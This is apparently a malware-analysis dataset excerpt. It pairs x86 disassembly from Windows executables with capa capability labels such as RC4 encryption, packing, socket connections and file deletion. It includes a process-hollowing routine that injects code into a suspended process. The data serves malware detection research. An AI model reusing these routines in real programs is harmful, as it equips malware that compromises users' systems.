joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f5a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x11232a8e
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f5ef
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f60e
mov ecx, edx
add ecx, ebx
jmp 0x41f60e
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f60e
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f680
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f669
test esi, esi
jbe 0x41f680
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088f4
test eax, eax
jne 0x41f65b
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f680
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f638
jmp 0x41f680
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f680
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x11232a95
ret
Function at 0x4207ec
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x11233e07
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x420827
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x420840
lea eax, [ebp - 0x10]
mov edx, dword [0x1125177c]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00404d30
jmp 0x420853
lea eax, [ebp - 0x10]
mov edx, dword [0x1125177c]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x42085f
adc edx, 0
mov edx, dword [edx*4 + 0x11250568]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x4209d9
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4209cc
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x4209cc
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dec
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4209cc
mov eax, edi
cmp dword [eax], 0x4550
jne 0x4209cc
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x42096a
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x42096a
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x42096a
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x42096a
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x4209cc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x4209cc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x4209cc
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4209cc
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4209cc
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x4209f1
inc ebx
cmp ebx, 0x19
jne 0x420819
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x11233e0e
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x403170
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429680
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x439008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x43a02c
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00417c60
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x439a14
push eax
call fcn.00417c60
mov esi, dword [0x43a03c]
xor ebx, ebx
mov edi, dword [0x43a040]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x43b230], bl
mov eax, ebx
mov ecx, 0x43a02c
cmovae ecx, dword [0x43a02c]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x43b338], al
inc ebx
cmp ebx, 0x100
jl 0x4031f0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x43b230]
movzx eax, byte [esi + 0x43b338]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x403244
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x43b230]
mov byte [esi + 0x43b230], al
inc esi
mov byte [edi + 0x43b230], dl
cmp esi, 0x100
jl 0x403220
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00402ed0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x403299
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40328f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032ef
push edx
push ecx
call fcn.004192df
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4032db
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4032d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4032ef
push edx
push ecx
call fcn.004192df
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0041d93c
int3
Function at 0x404bb0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x439008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push eax
push 0
call dword [0x42f0d0]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x404dcd
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x404dcd
push 0x44
lea eax, [ebp - 0x14c]
push 0
push eax
call fcn.0041a330
add esp, 0xc
lea eax, [ebp - 0x160]
xorps xmm0, xmm0
movups xmmword [ebp - 0x160], xmm0
push eax
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [0x42f07c]
test eax, eax
je 0x404dcd
push 4
push 0x1000
push 4
push 0
call dword [0x42f0bc]
mov ebx, eax
push ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x15c]
call dword [0x42f060]
test eax, eax
je 0x404dcd
push 0
push 4
lea eax, [ebp - 0x150]
push eax
push str.Unknown_exception
push dword [ebp - 0x160]
call dword [0x42f074]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 0x150], eax
jne 0x404ccc
push 0x434ed0
push 0x434ee8
call dword [0x42f0a4]
push eax
call dword [0x42f064]
push dword [ebp - 0x150]
push dword [ebp - 0x160]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x160]
call dword [0x42f068]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x404dcd
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x160]
call dword [0x42f0cc]
xor eax, eax
mov dword [ebp - 0x164], 0
cmp ax, word [edi + 6]
jae 0x404d66
xor ebx, ebx
lea ecx, [ebx + esi]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [ebp - 0x168]
push eax
push dword [ebp - 0x160]
call dword [0x42f0cc]
mov ecx, dword [ebp - 0x164]
lea ebx, [ebx + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x164], ecx
cmp ecx, eax
jl 0x404d18
mov ebx, dword [ebp - 0x16c]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x160]
call dword [0x42f0cc]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x168]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x15c]
call dword [0x42f084]
push dword [ebp - 0x15c]
call dword [0x42f0a8]
push 0x8000
push 0
push esi
call dword [0x42f0c4]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00418e52
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
call dword [0x42f0c4]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418e52
mov esp, ebp
pop ebp
ret
Function at 0x409200
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push fcn.00429fd0
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x439008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x43a194
lea ecx, [ebp - 0x40]
call fcn.004177a0
mov dword [ebp - 4], 0
xor edx, edx
mov ecx, 7
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [ebp - 0x14], ecx
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 1
xor esi, esi
mov ebx, dword [ebp - 0x40]
cmp dword [ebp - 0x30], esi
jbe 0x4092b2
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
cmovae eax, ebx
movsx ax, byte [eax + esi]
movzx edi, ax
cmp edx, ecx
jae 0x409293
lea eax, [edx + 1]
cmp ecx, 8
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
xor ecx, ecx
mov word [eax + edx*2], di
mov word [eax + edx*2 + 2], cx
jmp 0x4092a4
push edi
mov byte [ebp - 0x44], 0
push dword [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004186e0
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, dword [ebp - 0x30]
jae 0x4092b2
mov edx, dword [ebp - 0x18]
jmp 0x409260
cmp ecx, 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 0
push 0
call dword [0x42f0b8]
call dword [0x42f044]
cmp eax, 0xb7
je 0x40936d
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40930e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409304
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409374
push edx
push ecx
call fcn.004192df
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], 7
cmp eax, 0x10
jb 0x409351
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x409347
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409374
push ecx
push ebx
call fcn.004192df
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418e52
mov esp, ebp
pop ebp
ret
push 0
call fcn.0041c6ff
call fcn.0041d93c
int3
Function at 0x4012b4
Capabilities:
Packed with generic packer

Disassembly:
add esp, 0xfffffff8
mov edx, dword [eax + 4]
mov dword [esp], edx
jmp loc.0041c4ab

Function at 0x401498
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword [ebx + 4], 0x100000
push 4
push 0x2000
push 0x100000
push ebp
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
mov dword [ebx], edi
test edi, edi
jne 0x4014e2
add esi, 0xffff
and esi, 0xffff0000
jmp loc.0041a93a
cmp dword [ebx], 0
je 0x40150a
mov edx, ebx
mov eax, 0x40c5d4
call fcn.00401258
test al, al
jne 0x40150a
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_VirtualFree
xor eax, eax
mov dword [ebx], eax
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401ce4
Capabilities:
Packed with generic packer

Disassembly:
cmp edx, 0xc
jl 0x401cf7
jmp loc.00413f2f
cmp edx, 4
jl 0x401d06
mov ecx, edx
or ecx, 0x80000002
mov dword [eax], ecx
add eax, edx
and dword [eax], 0xfffffffe
ret

Function at 0x40207c
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, edx
mov ebx, eax
mov ecx, esp
lea edx, [esi + 4]
mov eax, ebx
call fcn.004017fc
cmp dword [esp], 0
je 0x4020a2
mov eax, esp
jmp loc.00416430
xor eax, eax
jmp 0x4020a8
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4020b0
Capabilities:
Packed with generic packer

Disassembly:
push ecx
mov edx, esp
xor ecx, ecx
mov dword [edx], ecx
test eax, eax
jns 0x4020be
add eax, 3
sar eax, 2
cmp eax, 0x400
jg 0x4020e1
mov ecx, dword [0x40c60c]
jmp 0x418518
mov eax, dword [edx]
pop edx
ret

Function at 0x4020e8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff4
jmp loc.00417c01

Function at 0x402884
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jle 0x4028a6
mov eax, ebx
call dword [0x40b030]
mov dword [esp], eax
cmp dword [esp], 0
jne 0x4028ab
mov al, 1
call fcn.0040297c
jmp 0x4028ab
jmp 0x4190a8
mov eax, dword [esp]
pop edx
pop ebx
ret

Function at 0x402b68
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
add esp, 0xfffffef4
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004041ec
test esi, esi
jne 0x402b9f
push 0x105
jmp loc.00418dee
jmp loc.00416eca

Function at 0x402bcc
Capabilities:
Packed with generic packer

Disassembly:
add esp, 0xfffffff8
push esp
call sub.kernel32.dll_QueryPerformanceCounter
test eax, eax
je 0x402be4
mov eax, dword [esp]
mov dword [0x40b008], eax
pop ecx
pop edx
ret
jmp loc.00417542

Function at 0x402ec8
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x14c
call fcn.00403130
lea eax, [ebx + 0x14c]
mov dword [ebx + 0x14], eax
jmp loc.00417367
Function at 0x4030e4
Capabilities:
Get file size

Disassembly:
push ebx
push esi
mov ebx, eax
or esi, 0xffffffff
mov ax, word [ebx + 4]
cmp ax, 0xd7b0
jbe 0x40311e
cmp ax, 0xd7b3
ja 0x40311e
push 0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetFileSize
mov esi, eax
cmp esi, 0xffffffff
jne 0x403113
jmp loc.00415a3c
mov eax, esi
xor edx, edx
div dword [ebx + 8]
mov esi, eax
jmp fcn.00403128
mov eax, 0x67
jmp loc.0041d4a7

Function at 0x403150
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x40b008], 0x8088405
inc edx
mov dword [ebx + 0x40b008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403444
Capabilities:
Packed with generic packer

Disassembly:
mov cl, byte [0x40b00c]
and cl, 3
cmp cl, 2
jbe 0x403454
mov cl, 2
jmp loc.0041dced

Function at 0x403460
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push edx
sub esp, 0x14
mov edi, ecx
mov esi, eax
cdq
xor eax, edx
sub eax, edx
jmp loc.0041b54b

Function at 0x403728
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40b014]
jmp loc.00418089

Function at 0x403860
Capabilities:
Packed with generic packer

Disassembly:
test eax, eax
je fcn.0040386b
mov dl, 1
jmp loc.004136bc

Function at 0x4039c8
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [0x40b018], 1
jbe fcn.004039e2
push 0
push 0
push 0
push 0xeedfadf
jmp loc.00413e03

Function at 0x403a34
Capabilities:
Packed with generic packer

Disassembly:
test ecx, ecx
je 0x403a51
jmp loc.0041c12b
ret

Function at 0x403a98
Capabilities:
Packed with generic packer

Disassembly:
push eax
push edx
cmp byte [0x40b018], 1
jbe fcn.00403ab3
push esp
push 2
push 0
push 0xeedfae3
jmp loc.004155c9

Function at 0x403e18
Capabilities:
Packed with generic packer

Disassembly:
xor edx, edx
mov eax, dword [0x40c624]
test eax, eax
je 0x403e3f
mov ecx, dword fs:[edx]
cmp eax, ecx
jne 0x403e32
jmp loc.00416238
mov ecx, dword [ecx]
cmp ecx, 0xffffffff
je 0x403e3f
cmp dword [ecx], eax
jne 0x403e30
mov eax, dword [eax]
mov dword [ecx], eax
ret

Function at 0x403e40
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, 0x40c620
mov eax, dword [esi + 8]
test eax, eax
je 0x403ea9
mov ebx, dword [esi + 0xc]
mov eax, dword [eax + 4]
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x403e95
jmp loc.0041c29f
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x403fbc
Capabilities:
Packed with generic packer

Disassembly:
xor eax, eax
xchg dword [section.DATA], eax
neg eax
sbb eax, eax
inc eax
mov edi, 0x40c620
mov ebx, dword [edi + 0x18]
mov ebp, dword [edi + 0x14]
push dword [edi + 0x1c]
push dword [edi + 0x20]
mov esi, dword [edi]
jmp loc.0041c5ea

Function at 0x403fec
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40c034], 0
je 0x40404d
cmp word [0x40c208], 0xd7b2
jne fcn.00404015
cmp dword [0x40c210], 0
jbe fcn.00404015
jmp loc.004135e1
cmp byte [0x40b020], 0
jne fcn.00404069
push 0
push 0x40b078
push 0x40b080
push 0
jmp loc.0041daf9
Function at 0x404164
Capabilities:
Packed with generic packer

Disassembly:
pop dword [0x40b004]
jmp loc.004142f4

Function at 0x4041a8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402884
jmp loc.0041dd14

Function at 0x404240
Capabilities:
Packed with generic packer

Disassembly:
test edx, edx
je 0x404268
mov ecx, dword [edx - 8]
inc ecx
jg 0x404264
push eax
push edx
mov eax, dword [edx - 4]
call fcn.004042b0
mov edx, eax
pop eax
push edx
mov ecx, dword [eax - 4]
call fcn.004029c4
pop edx
pop eax
jmp 0x404268
lock inc dword [edx - 8]
xchg dword [eax], edx
test edx, edx
je 0x404282
mov ecx, dword [edx - 8]
dec ecx
jl 0x404282
lock dec dword [edx - 8]
jne 0x404282
lea eax, [edx - 8]
jmp 0x41bc77
ret

Function at 0x404284
Capabilities:
Packed with generic packer

Disassembly:
test edx, edx
je 0x404292
mov ecx, dword [edx - 8]
inc ecx
jle 0x404292
lock inc dword [edx - 8]
xchg dword [eax], edx
test edx, edx
je 0x4042ac
mov ecx, dword [edx - 8]
dec ecx
jl 0x4042ac
lock dec dword [edx - 8]
jne 0x4042ac
lea eax, [edx - 8]
jmp 0x41b94e
ret

Function at 0x4042dc
Capabilities:
Packed with generic packer

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
mov eax, edi
call fcn.004042b0
mov ecx, edi
mov edi, eax
test esi, esi
je fcn.004042fd
mov edx, eax
mov eax, esi
jmp loc.00418bbd

Function at 0x404404
Capabilities:
Packed with generic packer

Disassembly:
xor ecx, ecx
test edx, edx
je 0x404437
push edx
cmp cx, word [edx]
je 0x404430
cmp cx, word [edx + 2]
je 0x40442d
cmp cx, word [edx + 4]
je 0x40442a
cmp cx, word [edx + 6]
je 0x404427
add edx, 8
jmp 0x40440b
add edx, 2
add edx, 2
add edx, 2
mov ecx, edx
pop edx
sub ecx, edx
shr ecx, 1
jmp 0x417a56

Function at 0x404524
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push edx
push eax
mov ebx, edx
xor edi, edi
mov ecx, dword [esp + edx*4 + 0x14]
test ecx, ecx
je 0x404541
cmp dword [eax], ecx
jne 0x404541
jmp loc.0041ac26
xor eax, eax
mov ecx, dword [esp + edx*4 + 0x14]
test ecx, ecx
je 0x404554
jmp loc.0041d3b4
dec edx
jne 0x404543
test edi, edi
je 0x404572
jmp loc.00413bfb
jmp loc.00415b4a

Function at 0x404664
Capabilities:
Packed with generic packer

Disassembly:
test eax, eax
je 0x40466a
ret
jmp loc.0041a377

Function at 0x404890
Capabilities:
Packed with generic packer

Disassembly:
mov edx, dword [eax]
test edx, edx
je 0x4048a4
jmp loc.0041a812
ret

Function at 0x404bb0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
jmp loc.004166a6

Function at 0x404c4c
Capabilities:
Get geographical location
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404cb2
push dword fs:[edx]
mov dword fs:[edx], esp
jmp loc.00417b7f

Function at 0x404e1c
Capabilities:
Set thread local storage value

Disassembly:
push ebx
call fcn.00404e14
mov ebx, eax
test ebx, ebx
je fcn.00404e5e
cmp dword [0x40b0b0], 0xffffffff
jne fcn.00404e3b
mov eax, 0xe2
jmp loc.00419357
Function at 0x404eac
Capabilities:
Packed with generic packer

Disassembly:
push ebx
mov ebx, eax
xor eax, eax
mov dword [0x40b0b0], eax
push 0
jmp loc.00416410

Function at 0x404f88
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
cmp dword [ebp + 0xc], 1
sbb eax, eax
inc eax
and eax, 0x7f
push eax
mov eax, dword [ebp + 8]
push eax
jmp loc.0041d83a

Function at 0x405298
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
push 0x4052ed
push dword fs:[eax]
mov dword fs:[eax], esp
jmp loc.0041a51f

Function at 0x4052fc
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404654
xor eax, eax
push ebp
jmp loc.00419634

Function at 0x4053f0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
jmp loc.0041c2de

Function at 0x405460
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
jmp loc.004139ee

Function at 0x4074a0
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Initialize winsock library

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 0x44]
push eax
mov dl, 1
mov al, 2
call fcn.00405078
push eax
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x30], eax
mov word [ebx + 0x34], 2
mov ax, word [ebx + 4]
push eax
call sub.wsock32.dll_htons
jmp loc.004141cd

Function at 0x40767c
Capabilities:
Copy file
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff678
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x988], edx
mov dword [ebp - 0x984], edx
mov dword [ebp - 0x980], edx
mov dword [ebp - 0x97c], edx
mov dword [ebp - 0x978], edx
mov dword [ebp - 0x974], edx
mov dword [ebp - 0x970], edx
mov dword [ebp - 0x96c], edx
mov dword [ebp - 0x968], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404654
mov ebx, 0x40c6c4
mov esi, 0x40c6c0
mov edi, 0x40c6c8
xor eax, eax
push ebp
push 0x407aa5
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x964]
call fcn.00402ec8
mov eax, dword [0x40b188]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x964]
call fcn.00403444
lea eax, [ebp - 0x964]
call fcn.004030e4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x964]
call fcn.004030e4
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.004047f0
push 0
lea eax, [ebp - 0x10]
call fcn.004046bc
mov edx, eax
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x964]
call fcn.00403018
lea eax, [ebp - 0x964]
call fcn.00403038
mov edx, dword [ebp - 0x10]
mov eax, 0x407abc
call fcn.004047a8
test eax, eax
jmp loc.00419740